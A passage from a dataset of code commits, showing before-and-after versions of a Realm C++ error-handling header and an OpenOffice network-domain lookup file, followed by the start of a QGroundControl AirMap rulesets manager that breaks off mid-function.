License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n#ifndef ERROR_HANDLING_HPP\n#define ERROR_HANDLING_HPP\n\n#include <string>\n#include <realm.hpp>\n#include \"realm_error_type.hpp\"\n\nnamespace realm {\nstruct NativeException {\n RealmErrorType type;\n std::string message;\n \n struct Marshallable {\n RealmErrorType type;\n const char* messagesBytes;\n size_t messageLength;\n };\n \n Marshallable for_marshalling() const {\n auto messageCopy = new char[message.size()];\n message.copy(messageCopy, message.length());\n\n return {\n type,\n messageCopy,\n message.size()\n };\n }\n};\n \nclass RowDetachedException : public std::runtime_error {\npublic:\n RowDetachedException() : std::runtime_error(\"Attempted to access detached row\") {}\n};\n\nNativeException convert_exception();\n\nvoid throw_managed_exception(const NativeException& exception);\n \ntemplate <class T>\nstruct Default {\n static T default_value() {\n return T{};\n }\n};\ntemplate <>\nstruct Default<void> {\n static void default_value() {}\n};\n\ntemplate <class F>\nauto handle_errors(F&& func) -> decltype(func())\n{\n using RetVal = decltype(func());\n try {\n return func();\n }\n catch (...) {\n throw_managed_exception(convert_exception());\n return Default<RetVal>::default_value();\n }\n}\n\ntemplate <class F>\nauto handle_errors_param(F&& func, NativeException::Marshallable& ex) -> decltype(func())\n{\n using RetVal = decltype(func());\n ex.type = RealmErrorType::NoError;\n try {\n return func();\n }\n catch (...) {\n ex = convert_exception().for_marshalling(); \n return Default<RetVal>::default_value();\n }\n}\n\n} \/\/ namespace realm\n\n#endif \/\/ ERROR_HANDLING_HPP\n<commit_msg>Make NativeException::Marshallable::messageBytes a void* instead of a char*<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2016 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n#ifndef ERROR_HANDLING_HPP\n#define ERROR_HANDLING_HPP\n\n#include <string>\n#include <new>\n#include <realm.hpp>\n#include \"realm_error_type.hpp\"\n\nnamespace realm {\nstruct NativeException {\n RealmErrorType type;\n std::string message;\n \n struct Marshallable {\n RealmErrorType type;\n void* messagesBytes;\n size_t messageLength;\n };\n \n Marshallable for_marshalling() const {\n auto messageCopy = ::operator new (message.size());\n message.copy(reinterpret_cast<char*>(messageCopy), message.length());\n\n return {\n type,\n messageCopy,\n message.size()\n };\n }\n};\n \nclass RowDetachedException : public std::runtime_error {\npublic:\n RowDetachedException() : std::runtime_error(\"Attempted to access detached row\") {}\n};\n\nNativeException convert_exception();\n\nvoid throw_managed_exception(const NativeException& exception);\n \ntemplate <class T>\nstruct Default {\n static T default_value() {\n return T{};\n }\n};\ntemplate <>\nstruct Default<void> {\n static void default_value() {}\n};\n\ntemplate <class F>\nauto handle_errors(F&& func) -> decltype(func())\n{\n using RetVal = decltype(func());\n try {\n return func();\n }\n catch (...) {\n throw_managed_exception(convert_exception());\n return Default<RetVal>::default_value();\n }\n}\n\ntemplate <class F>\nauto handle_errors_param(F&& func, NativeException::Marshallable& ex) -> decltype(func())\n{\n using RetVal = decltype(func());\n ex.type = RealmErrorType::NoError;\n try {\n return func();\n }\n catch (...) {\n ex = convert_exception().for_marshalling(); \n return Default<RetVal>::default_value();\n }\n}\n\n} \/\/ namespace realm\n\n#endif \/\/ ERROR_HANDLING_HPP\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: networkdomain.cxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: obo $ $Date: 2006-09-16 13:57:53 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_framework.hxx\"\n\n#ifndef __FRAMEWORK_HELPER_NETWORKDOMAIN_HXX_\n#include <helper\/networkdomain.hxx>\n#endif\n\nnamespace framework\n{\n\n#ifdef WNT\n\/\/_________________________________________________________________________________________________________________\n\/\/ Windows\n\/\/_________________________________________________________________________________________________________________\n\n#define UNICODE\n#include <windows.h>\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Win NT, Win 2000, Win XP\n\/\/_________________________________________________________________________________________________________________\n\nstatic DWORD WINAPI GetUserDomainW_NT( LPWSTR lpBuffer, DWORD nSize )\n{\n return GetEnvironmentVariable( TEXT(\"USERDOMAIN\"), lpBuffer, nSize );\n}\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Win 9x,Win ME\n\/\/_________________________________________________________________________________________________________________\n\nstatic DWORD WINAPI GetUserDomainW_WINDOWS( LPWSTR lpBuffer, DWORD nSize )\n{\n HKEY hkeyLogon;\n HKEY hkeyWorkgroup;\n DWORD dwResult = 0;\n\n\n if ( ERROR_SUCCESS == RegOpenKeyEx(\n HKEY_LOCAL_MACHINE,\n TEXT(\"Network\\\\Logon\"),\n 0, KEY_READ, &hkeyLogon ) )\n {\n DWORD dwLogon = 0;\n DWORD dwLogonSize = sizeof(dwLogon);\n LONG lResult = RegQueryValueEx( hkeyLogon, TEXT(\"LMLogon\"), 0, NULL, (LPBYTE)&dwLogon, &dwLogonSize );\n RegCloseKey( hkeyLogon );\n\n if ( dwLogon )\n {\n HKEY hkeyNetworkProvider;\n\n if ( ERROR_SUCCESS == RegOpenKeyEx(\n HKEY_LOCAL_MACHINE,\n TEXT(\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\MSNP32\\\\NetworkProvider\"),\n 0, KEY_READ, &hkeyNetworkProvider ) )\n {\n DWORD dwBufferSize = nSize;\n LONG lResult = RegQueryValueEx( hkeyNetworkProvider, TEXT(\"AuthenticatingAgent\"), 0, NULL, (LPBYTE)lpBuffer, &dwBufferSize );\n\n if ( ERROR_SUCCESS == lResult || ERROR_MORE_DATA == lResult )\n dwResult = dwBufferSize \/ sizeof(TCHAR);\n\n RegCloseKey( hkeyNetworkProvider );\n }\n }\n }\n else if ( ERROR_SUCCESS == RegOpenKeyEx(\n HKEY_LOCAL_MACHINE,\n TEXT(\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\VxD\\\\VNETSUP\"),\n 0, KEY_READ, &hkeyWorkgroup ) )\n {\n DWORD dwBufferSize = nSize;\n LONG lResult = RegQueryValueEx( hkeyWorkgroup, TEXT(\"Workgroup\"), 0, NULL, (LPBYTE)lpBuffer, &dwBufferSize );\n\n if ( ERROR_SUCCESS == lResult || ERROR_MORE_DATA == lResult )\n dwResult = dwBufferSize \/ sizeof(TCHAR);\n\n RegCloseKey( hkeyWorkgroup );\n }\n\n\n return dwResult;\n}\n\nstatic rtl::OUString GetUserDomain()\n{\n sal_Unicode aBuffer[256];\n\n long nVersion = GetVersion();\n DWORD nResult;\n\n if ( nVersion < 0 )\n nResult = GetUserDomainW_WINDOWS( aBuffer, sizeof( aBuffer ) );\n else\n nResult = GetUserDomainW_NT( aBuffer, sizeof( aBuffer ) );\n\n if ( nResult > 0 )\n return rtl::OUString( aBuffer );\n else\n return rtl::OUString();\n}\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Windows\n\/\/_________________________________________________________________________________________________________________\n\nrtl::OUString NetworkDomain::GetYPDomainName()\n{\n return ::rtl::OUString();\n}\n\nrtl::OUString NetworkDomain::GetNTDomainName()\n{\n return GetUserDomain();\n}\n\n#elif defined( UNIX )\n\n#include <rtl\/ustring.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <osl\/thread.h>\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Unix\n\/\/_________________________________________________________________________________________________________________\n\n#if defined( SOLARIS )\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Solaris\n\/\/_________________________________________________________________________________________________________________\n\n#include <sys\/systeminfo.h>\n#include <sal\/alloca.h>\n\nstatic rtl_uString *getDomainName()\n{\n \/* Initialize and assume failure *\/\n rtl_uString *ustrDomainName = NULL;\n\n char szBuffer[256];\n\n long nCopied = sizeof(szBuffer);\n char *pBuffer = szBuffer;\n long nBufSize;\n\n do\n {\n nBufSize = nCopied;\n nCopied = sysinfo( SI_SRPC_DOMAIN, pBuffer, nBufSize );\n\n \/* If nCopied is greater than buffersize we need to allocate\n a buffer with suitable size *\/\n\n if ( nCopied > nBufSize )\n pBuffer = (char *)alloca( nCopied );\n\n } while ( nCopied > nBufSize );\n\n if ( -1 != nCopied )\n {\n rtl_string2UString(\n &ustrDomainName,\n pBuffer,\n nCopied - 1,\n osl_getThreadTextEncoding(),\n OSTRING_TO_OUSTRING_CVTFLAGS );\n }\n\n return ustrDomainName;\n}\n\n#elif defined( LINUX ) \/* endif SOLARIS *\/\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Linux\n\/\/_________________________________________________________________________________________________________________\n\n#include <unistd.h>\n#include <string.h>\n\nstatic rtl_uString *getDomainName()\n{\n \/* Initialize and assume failure *\/\n rtl_uString *ustrDomainName = NULL;\n\n char *pBuffer;\n int result;\n size_t nBufSize = 0;\n\n do\n {\n nBufSize += 256; \/* Increase buffer size by steps of 256 bytes *\/\n pBuffer = (char *)alloca( nBufSize );\n result = getdomainname( pBuffer, nBufSize );\n \/* If buffersize in not large enough -1 is returned and errno\n is set to EINVAL. This only applies to libc. With glibc the name\n is truncated. *\/\n } while ( -1 == result && EINVAL == errno );\n\n if ( 0 == result )\n {\n rtl_string2UString(\n &ustrDomainName,\n pBuffer,\n strlen( pBuffer ),\n osl_getThreadTextEncoding(),\n OSTRING_TO_OUSTRING_CVTFLAGS );\n }\n\n return ustrDomainName;\n}\n\n#else \/* LINUX *\/\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Other Unix\n\/\/_________________________________________________________________________________________________________________\n\nstatic rtl_uString *getDomainName()\n{\n return NULL;\n}\n\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Unix\n\/\/_________________________________________________________________________________________________________________\n\nrtl::OUString NetworkDomain::GetYPDomainName()\n{\n rtl_uString* pResult = getDomainName();\n if ( pResult )\n return rtl::OUString( pResult );\n else\n return rtl::OUString();\n}\n\nrtl::OUString NetworkDomain::GetNTDomainName()\n{\n return ::rtl::OUString();\n}\n\n#else \/* UNIX *\/\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Other operating systems (non-Windows and non-Unix)\n\/\/_________________________________________________________________________________________________________________\n\nrtl::OUString NetworkDomain::GetYPDomainName()\n{\n return rtl::OUString();\n}\n\nrtl::OUString NetworkDomain::GetNTDomainName()\n{\n return rtl::OUString();\n}\n\n#endif\n\n} \/\/ namespace framework\n<commit_msg>INTEGRATION: CWS sb59 (1.5.142); FILE MERGED 2006\/08\/10 08:16:20 sb 1.5.142.1: #i67487# Made code warning-free (wntmsci10).<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: networkdomain.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: obo $ $Date: 2006-10-12 10:40:17 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_framework.hxx\"\n\n#ifndef __FRAMEWORK_HELPER_NETWORKDOMAIN_HXX_\n#include <helper\/networkdomain.hxx>\n#endif\n\nnamespace framework\n{\n\n#ifdef WNT\n\/\/_________________________________________________________________________________________________________________\n\/\/ Windows\n\/\/_________________________________________________________________________________________________________________\n\n#define UNICODE\n#if defined _MSC_VER\n#pragma warning(push, 1)\n#endif\n#include <windows.h>\n#if defined _MSC_VER\n#pragma warning(pop)\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Win NT, Win 2000, Win XP\n\/\/_________________________________________________________________________________________________________________\n\nstatic DWORD WINAPI GetUserDomainW_NT( LPWSTR lpBuffer, DWORD nSize )\n{\n return GetEnvironmentVariable( TEXT(\"USERDOMAIN\"), lpBuffer, nSize );\n}\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Win 9x,Win ME\n\/\/_________________________________________________________________________________________________________________\n\nstatic DWORD WINAPI GetUserDomainW_WINDOWS( LPWSTR lpBuffer, DWORD nSize )\n{\n HKEY hkeyLogon;\n HKEY hkeyWorkgroup;\n DWORD dwResult = 0;\n\n\n if ( ERROR_SUCCESS == RegOpenKeyEx(\n HKEY_LOCAL_MACHINE,\n TEXT(\"Network\\\\Logon\"),\n 0, KEY_READ, &hkeyLogon ) )\n {\n DWORD dwLogon = 0;\n DWORD dwLogonSize = sizeof(dwLogon);\n RegQueryValueEx( hkeyLogon, TEXT(\"LMLogon\"), 0, NULL, (LPBYTE)&dwLogon, &dwLogonSize );\n RegCloseKey( hkeyLogon );\n\n if ( dwLogon )\n {\n HKEY hkeyNetworkProvider;\n\n if ( ERROR_SUCCESS == RegOpenKeyEx(\n HKEY_LOCAL_MACHINE,\n TEXT(\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\MSNP32\\\\NetworkProvider\"),\n 0, KEY_READ, &hkeyNetworkProvider ) )\n {\n DWORD dwBufferSize = nSize;\n LONG lResult = RegQueryValueEx( hkeyNetworkProvider, TEXT(\"AuthenticatingAgent\"), 0, NULL, (LPBYTE)lpBuffer, &dwBufferSize );\n\n if ( ERROR_SUCCESS == lResult || ERROR_MORE_DATA == lResult )\n dwResult = dwBufferSize \/ sizeof(TCHAR);\n\n RegCloseKey( hkeyNetworkProvider );\n }\n }\n }\n else if ( ERROR_SUCCESS == RegOpenKeyEx(\n HKEY_LOCAL_MACHINE,\n TEXT(\"SYSTEM\\\\CurrentControlSet\\\\Services\\\\VxD\\\\VNETSUP\"),\n 0, KEY_READ, &hkeyWorkgroup ) )\n {\n DWORD dwBufferSize = nSize;\n LONG lResult = RegQueryValueEx( hkeyWorkgroup, TEXT(\"Workgroup\"), 0, NULL, (LPBYTE)lpBuffer, &dwBufferSize );\n\n if ( ERROR_SUCCESS == lResult || ERROR_MORE_DATA == lResult )\n dwResult = dwBufferSize \/ sizeof(TCHAR);\n\n RegCloseKey( hkeyWorkgroup );\n }\n\n\n return dwResult;\n}\n\nstatic rtl::OUString GetUserDomain()\n{\n sal_Unicode aBuffer[256];\n\n long nVersion = GetVersion();\n DWORD nResult;\n\n if ( nVersion < 0 )\n nResult = GetUserDomainW_WINDOWS( aBuffer, sizeof( aBuffer ) );\n else\n nResult = GetUserDomainW_NT( aBuffer, sizeof( aBuffer ) );\n\n if ( nResult > 0 )\n return rtl::OUString( aBuffer );\n else\n return rtl::OUString();\n}\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Windows\n\/\/_________________________________________________________________________________________________________________\n\nrtl::OUString NetworkDomain::GetYPDomainName()\n{\n return ::rtl::OUString();\n}\n\nrtl::OUString NetworkDomain::GetNTDomainName()\n{\n return GetUserDomain();\n}\n\n#elif defined( UNIX )\n\n#include <rtl\/ustring.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <osl\/thread.h>\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Unix\n\/\/_________________________________________________________________________________________________________________\n\n#if defined( SOLARIS )\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Solaris\n\/\/_________________________________________________________________________________________________________________\n\n#include <sys\/systeminfo.h>\n#include <sal\/alloca.h>\n\nstatic rtl_uString *getDomainName()\n{\n \/* Initialize and assume failure *\/\n rtl_uString *ustrDomainName = NULL;\n\n char szBuffer[256];\n\n long nCopied = sizeof(szBuffer);\n char *pBuffer = szBuffer;\n long nBufSize;\n\n do\n {\n nBufSize = nCopied;\n nCopied = sysinfo( SI_SRPC_DOMAIN, pBuffer, nBufSize );\n\n \/* If nCopied is greater than buffersize we need to allocate\n a buffer with suitable size *\/\n\n if ( nCopied > nBufSize )\n pBuffer = (char *)alloca( nCopied );\n\n } while ( nCopied > nBufSize );\n\n if ( -1 != nCopied )\n {\n rtl_string2UString(\n &ustrDomainName,\n pBuffer,\n nCopied - 1,\n osl_getThreadTextEncoding(),\n OSTRING_TO_OUSTRING_CVTFLAGS );\n }\n\n return ustrDomainName;\n}\n\n#elif defined( LINUX ) \/* endif SOLARIS *\/\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Linux\n\/\/_________________________________________________________________________________________________________________\n\n#include <unistd.h>\n#include <string.h>\n\nstatic rtl_uString *getDomainName()\n{\n \/* Initialize and assume failure *\/\n rtl_uString *ustrDomainName = NULL;\n\n char *pBuffer;\n int result;\n size_t nBufSize = 0;\n\n do\n {\n nBufSize += 256; \/* Increase buffer size by steps of 256 bytes *\/\n pBuffer = (char *)alloca( nBufSize );\n result = getdomainname( pBuffer, nBufSize );\n \/* If buffersize in not large enough -1 is returned and errno\n is set to EINVAL. This only applies to libc. With glibc the name\n is truncated. *\/\n } while ( -1 == result && EINVAL == errno );\n\n if ( 0 == result )\n {\n rtl_string2UString(\n &ustrDomainName,\n pBuffer,\n strlen( pBuffer ),\n osl_getThreadTextEncoding(),\n OSTRING_TO_OUSTRING_CVTFLAGS );\n }\n\n return ustrDomainName;\n}\n\n#else \/* LINUX *\/\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Other Unix\n\/\/_________________________________________________________________________________________________________________\n\nstatic rtl_uString *getDomainName()\n{\n return NULL;\n}\n\n#endif\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Unix\n\/\/_________________________________________________________________________________________________________________\n\nrtl::OUString NetworkDomain::GetYPDomainName()\n{\n rtl_uString* pResult = getDomainName();\n if ( pResult )\n return rtl::OUString( pResult );\n else\n return rtl::OUString();\n}\n\nrtl::OUString NetworkDomain::GetNTDomainName()\n{\n return ::rtl::OUString();\n}\n\n#else \/* UNIX *\/\n\n\/\/_________________________________________________________________________________________________________________\n\/\/ Other operating systems (non-Windows and non-Unix)\n\/\/_________________________________________________________________________________________________________________\n\nrtl::OUString NetworkDomain::GetYPDomainName()\n{\n return rtl::OUString();\n}\n\nrtl::OUString NetworkDomain::GetNTDomainName()\n{\n return rtl::OUString();\n}\n\n#endif\n\n} \/\/ namespace framework\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n *\n * (c) 2009-2016 QGROUNDCONTROL PROJECT <http:\/\/www.qgroundcontrol.org>\n *\n * QGroundControl is licensed according to the terms in the file\n * COPYING.md in the root of the source code directory.\n *\n ****************************************************************************\/\n\n#include \"AirMapRulesetsManager.h\"\n#include \"AirMapManager.h\"\n#include <QSettings>\n\nusing namespace airmap;\n\nstatic const char* kAirMapFeatureGroup = \"AirMapFeatureGroup\";\n\n\/\/-----------------------------------------------------------------------------\nAirMapRuleFeature::AirMapRuleFeature(QObject* parent)\n : AirspaceRuleFeature(parent)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRuleFeature::AirMapRuleFeature(airmap::RuleSet::Feature feature, QObject* parent)\n : AirspaceRuleFeature(parent)\n , _feature(feature)\n{\n \/\/-- Restore persisted value (if it exists)\n QSettings settings;\n settings.beginGroup(kAirMapFeatureGroup);\n switch(_feature.type) {\n case RuleSet::Feature::Type::boolean:\n _value = settings.value(name(), false);\n break;;\n case RuleSet::Feature::Type::floating_point:\n _value = settings.value(name(), 0.0f);\n break;;\n case RuleSet::Feature::Type::string:\n _value = settings.value(name(), QString());\n break;;\n default:\n break;\n }\n settings.endGroup();\n}\n\n\/\/-----------------------------------------------------------------------------\nAirspaceRuleFeature::Type\nAirMapRuleFeature::type()\n{\n switch(_feature.type) {\n case RuleSet::Feature::Type::boolean:\n return AirspaceRuleFeature::Boolean;\n case RuleSet::Feature::Type::floating_point:\n return AirspaceRuleFeature::Float;\n case RuleSet::Feature::Type::string:\n return AirspaceRuleFeature::String;\n default:\n break;\n }\n return AirspaceRuleFeature::Unknown;\n}\n\n\/\/-----------------------------------------------------------------------------\nAirspaceRuleFeature::Unit\nAirMapRuleFeature::unit()\n{\n switch(_feature.unit) {\n case RuleSet::Feature::Unit::kilograms:\n return AirspaceRuleFeature::Kilogram;\n case RuleSet::Feature::Unit::meters:\n return AirspaceRuleFeature::Meters;\n case RuleSet::Feature::Unit::meters_per_sec:\n return AirspaceRuleFeature::MetersPerSecond;\n default:\n break;\n }\n return AirspaceRuleFeature::UnknownUnit;\n}\n\n\/\/-----------------------------------------------------------------------------\nAirspaceRuleFeature::Measurement\nAirMapRuleFeature::measurement()\n{\n switch(_feature.measurement) {\n case RuleSet::Feature::Measurement::speed:\n return AirspaceRuleFeature::Speed;\n case RuleSet::Feature::Measurement::weight:\n return AirspaceRuleFeature::Weight;\n case RuleSet::Feature::Measurement::distance:\n return AirspaceRuleFeature::Distance;\n default:\n break;\n }\n return AirspaceRuleFeature::UnknownMeasurement;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid\nAirMapRuleFeature::setValue(const QVariant val)\n{\n _value = val;\n \/\/-- Make value persistent\n QSettings settings;\n settings.beginGroup(kAirMapFeatureGroup);\n settings.setValue(name(), _value);\n settings.endGroup();\n emit valueChanged();\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRule::AirMapRule(QObject* parent)\n : AirspaceRule(parent)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRule::AirMapRule(const airmap::RuleSet::Rule& rule, QObject* parent)\n : AirspaceRule(parent)\n , _rule(rule)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRule::~AirMapRule()\n{\n _features.deleteListAndContents();\n}\n\n\/\/-----------------------------------------------------------------------------\nAirspaceRule::Status\nAirMapRule::status()\n{\n switch(_rule.status) {\n case RuleSet::Rule::Status::conflicting:\n return AirspaceRule::Conflicting;\n case RuleSet::Rule::Status::not_conflicting:\n return AirspaceRule::NotConflicting;\n case RuleSet::Rule::Status::missing_info:\n return AirspaceRule::MissingInfo;\n case RuleSet::Rule::Status::unknown:\n default:\n return AirspaceRule::Unknown;\n }\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRuleSet::AirMapRuleSet(QObject* parent)\n : AirspaceRuleSet(parent)\n , _isDefault(false)\n , _selected(false)\n , _selectionType(AirspaceRuleSet::Optional)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRuleSet::~AirMapRuleSet()\n{\n _rules.deleteListAndContents();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid\nAirMapRuleSet::setSelected(bool sel)\n{\n if(_selectionType != AirspaceRuleSet::Required) {\n _selected = sel;\n } else {\n _selected = true;\n }\n emit selectedChanged();\n}\n\n\/\/-----------------------------------------------------------------------------\nAirMapRulesetsManager::AirMapRulesetsManager(AirMapSharedState& shared)\n : _shared(shared)\n{\n}\n\n\/\/-----------------------------------------------------------------------------\nstatic bool\nrules_sort(QObject* a, QObject* b)\n{\n AirMapRule* aa = qobject_cast<AirMapRule*>(a);\n AirMapRule* bb = qobject_cast<AirMapRule*>(b);\n if(!aa || !bb) return false;\n return (int)aa->order() > (int)bb->order();\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid AirMapRulesetsManager::setROI(const QGCGeoBoundingCube& roi)\n{\n if (!_shared.client()) {\n qCDebug(AirMapManagerLog) << \"No AirMap client instance. Not updating Airspace\";\n return;\n }\n if (_state != State::Idle) {\n qCWarning(AirMapManagerLog) << \"AirMapRulesetsManager::updateROI: state not idle\";\n return;\n }\n qCDebug(AirMapManagerLog) << \"Rulesets Request (ROI Changed)\";\n _valid = false;\n _ruleSets.clearAndDeleteContents();\n _state = State::RetrieveItems;\n RuleSets::Search::Parameters params;\n \/\/-- Geometry: Polygon\n Geometry::Polygon polygon;\n for (const auto& qcoord : roi.polygon2D()) {\n Geometry::Coordinate coord;\n coord.latitude = qcoord.latitude();\n coord.longitude = qcoord.longitude();\n polygon.outer_ring.coordinates.push_back(coord);\n }\n params.geometry = Geometry(polygon);\n std::weak_ptr<LifetimeChecker> isAlive(_instance);\n _shared.client()->rulesets().search(params,\n [this, isAlive](const RuleSets::Search::Result& result) {\n if (!isAlive.lock()) return;\n if (_state != State::RetrieveItems) return;\n if (result) {\n const std::vector<RuleSet> rulesets = result.value();\n qCDebug(AirMapManagerLog) << \"Successful rulesets search. Items:\" << rulesets.size();\n for (const auto& ruleset : rulesets) {\n AirMapRuleSet* pRuleSet = new AirMapRuleSet(this);\n connect(pRuleSet, &AirspaceRuleSet::selectedChanged, this, &AirMapRulesetsManager::_selectedChanged);\n pRuleSet->_id = QString::fromStdString(ruleset.id);\n pRuleSet->_name = QString::fromStdString(ruleset.name);\n pRuleSet->_shortName = QString::fromStdString(ruleset.short_name);\n pRuleSet->_description = QString::fromStdString(ruleset.description);\n pRuleSet->_isDefault = ruleset.is_default;\n \/\/-- TODO: This should be persistent and if the new incoming set has the\n \/\/ same, previosuly selected rulesets, it should \"remember\".\n if(pRuleSet->_isDefault) {\n pRuleSet->_selected = true;\n }\n switch(ruleset.selection_type) {\n case RuleSet::SelectionType::pickone:\n pRuleSet->_selectionType = AirspaceRuleSet::Pickone;\n break;\n case RuleSet::SelectionType::required:\n pRuleSet->_selectionType = AirspaceRuleSet::Required;\n pRuleSet->_selected = true;\n break;\n default:\n case RuleSet::SelectionType::optional:\n pRuleSet->_selectionType = AirspaceRuleSet::Optional;\n break;\n }\n \/\/-- Iterate Rules\n for (const auto& rule : ruleset.rules) {\n AirMapRule* pRule = new AirMapRule(rule, this);\n \/\/-- Iterate Rule Features\n for (const auto& feature : rule.features) {\n AirMapRuleFeature* pFeature = new AirMapRuleFeature(feature, this);\n pRule->_features.append(pFeature);\n }\n pRuleSet->_rules.append(pRule);\n }\n \/\/-- Sort rules by display order\n std::sort(pRuleSet->_rules.objectList()->begin(), pRuleSet->_rules.objectList()->end(), rules_sort);\n _ruleSets.append(pRuleSet);\n qCDebug(AirMapManagerLog) << \"Adding ruleset\" << pRuleSet->name();\n \/*\n qDebug() << \"------------------------------------------\";\n qDebug() << \"Jurisdiction:\" << ruleset.jurisdiction.name.data() << (int)ruleset.jurisdiction.region;\n qDebug() << \"Name: \" << ruleset.name.data();\n qDebug() << \"Short Name: \" << ruleset.short_name.data();\n qDebug() << \"Description: \" << ruleset.description.data();\n qDebug() << \"Is default: \" << ruleset.is_default;\n qDebug() << \"Applicable to these airspace types:\";\n for (const auto& airspaceType : ruleset.airspace_types) {\n qDebug() << \" \" << airspaceType.data();\n }\n qDebug() << \"Rules:\";\n for (const auto& rule : ruleset.rules) {\n qDebug() << \" --------------------------------------\";\n qDebug() << \" short_text: \" << rule.short_text.data();\n qDebug() << \" description: \" << rule.description.data();\n qDebug() << \" display_order:\" << rule.display_order;\n qDebug() << \" status: \" << (int)rule.status;\n qDebug() << \" ------------------------------\";\n qDebug() << \" Features:\";\n for (const auto& feature : rule.features) {\n qDebug() << \" name: \" << feature.name.data();\n qDebug() << \" description:\" << feature.description.data();\n qDebug() << \" status: \" << (int)feature.status;\n qDebug() << \" type: \" << (int)feature.type;\n qDebug() << \" measurement:\" << (int)feature.measurement;\n qDebug() << \" unit: \" << (int)feature.unit;\n }\n }\n *\/\n }\n _valid = true;\n } else {\n QString description = QString::fromStdString(result.error().description() ? result.error().description().get() : \"\");\n emit error(\"Failed to retrieve RuleSets\", QString::fromStdString(result.error().message()), description);\n }\n _state = 